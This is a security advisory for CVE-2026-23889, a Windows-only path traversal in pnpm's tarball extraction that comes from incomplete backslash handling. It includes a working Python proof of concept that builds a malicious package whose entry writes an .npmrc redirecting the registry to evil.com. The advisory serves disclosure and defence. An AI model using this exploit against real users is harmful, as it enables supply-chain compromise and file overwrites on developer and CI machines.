CVE-2026-23889: pnpm has Windows-specific tarball Path Traversal

Summary A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details 1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

typescript if (fileName.includes('./')) { fileName = path.posix.join('/', fileName).slice(1) }

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

- On Unix: Backslashes are literal filename characters (safe) - On Windows: Backslashes are directory separators (exploitable)

PoC 1. Create a malicious tarball with entry package/foo\..\..\.npmrc 2. Host it or use as a tarball URL dependency 3. On Windows: pnpm install 4. Observe .npmrc written outside package directory

python import tarfile, io

tarbuffer = io.BytesIO() with tarfile.open(fileobj=tarbuffer, mode='w:gz') as tar: pkgjson = b'{"name": "malicious-pkg", "version": "1.0.0"}' pkginfo = tarfile.TarInfo(name='package/package.json') pkginfo.size = len(pkgjson) tar.addfile(pkginfo, io.BytesIO(pkgjson))

maliciouscontent = b'registry=https://evil.com/\n' malinfo = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc') malinfo.size = len(maliciouscontent) tar.addfile(malinfo, io.BytesIO(maliciouscontent))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f: f.write(tarbuffer.getvalue())

Impact - Windows pnpm users - Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps) - Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.